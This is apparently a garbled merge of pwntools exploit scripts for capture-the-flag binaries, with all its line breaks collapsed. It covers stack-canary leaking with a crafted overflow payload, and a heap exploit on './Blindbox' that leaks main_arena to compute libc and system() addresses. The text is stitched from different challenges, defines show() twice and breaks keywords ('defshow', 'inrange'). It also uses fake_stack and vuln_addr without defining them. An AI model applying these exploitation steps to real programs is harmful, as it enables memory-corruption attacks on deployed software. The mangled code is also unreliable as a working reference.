r.recvuntil(b'What your name? ') r.sendline(b'a'*(0x20-0x8+1))
# gdb.attach(r)
print(r.recvuntil(b'a'*(0x20-0x8+1))) # canary = (b'\x00'+r.recvuntil(b', welcome to this challenge!\n')) canary = u64(b'\x00'+r.recv(7)) print(hex(canary)) # print(u64(r.recvuntil(b', welcome to this challenge!\n', drop=True).ljust(8, b'\x00'))) r.recvuntil(b'Please input the passwd to unlock this challenge') r.sendline(b'4196782') payload = b'a'*(0x20-0x8)+p64(canary)+p64(fake_stack)+p64(vuln_addr) r.recvuntil(b'OK!\nNow, you can input your message')
defshow(id): r.recvuntil(b'>> ') r.sendline(b'3') r.recvuntil(b'Which Book do you want to read?') r.sendline(bytes(str(id), encoding='utf-8'))
defdelete(id): r.recvuntil(b'>> ') r.sendline(b'2') r.recvuntil(b'Which Book do you want to take out from you bag?') r.sendline(bytes(str(id), encoding='utf-8'))
elf = ELF('./Blindbox') libc = ELF('./libc-2.31.so') r = process('./Blindbox')
context.log_level = 'debug'
r.recvuntil(b'Please tell me your name:') r.sendline(b'196082') r.recvuntil(b'The first lucky number?') r.sendline(bytes(str(0x100), encoding='utf8')) r.recvuntil(b'The second lucky number?') r.sendline(bytes(str(0x100), encoding='utf8')) r.recvuntil(b'The third lucky number?') r.sendline(bytes(str(0x100), encoding='utf8'))
defcreate(id): r.recvuntil(b'>> ') r.sendline(b'1') r.recvuntil(b'>> ') r.sendline(b'1') r.recvuntil(b'Give index for this Blindbox(1-3): ') r.sendline(bytes(str(id), encoding='utf8'))
defdrop(id): r.recvuntil(b'>> ') r.sendline(b'2') r.recvuntil(b'Which index do you want to drop?') r.sendline(bytes(str(id), encoding='utf8'))
defshow(id): r.recvuntil(b'>> ') r.sendline(b'3') r.recvuntil(b'Which Blindbox do you want to open?') r.sendline(bytes(str(id), encoding='utf8'))
for i inrange(7): create(1) drop(1)
create(1) create(2) drop(1)
gdb.attach(r)
show(1)
r.recvuntil(b'Content of this Blindbox: ') main_arena = u64(r.recv(6).ljust(8, '\x00'))-96 libc_base = main_arena-next(libc.search(b'main_arena')) system_addr = libc_base+libc.symbols['system']
objdll = cdll.LoadLibrary('./libc-2.31.so') objdll.srand(0) for i inrange(7): r.recvuntil(b"Round "+bytes(str(i), encoding='utf8')+b" Please guess>") res = system_addr ^ objdll.rand() r.sendline(bytes(str(res), encoding='utf8'))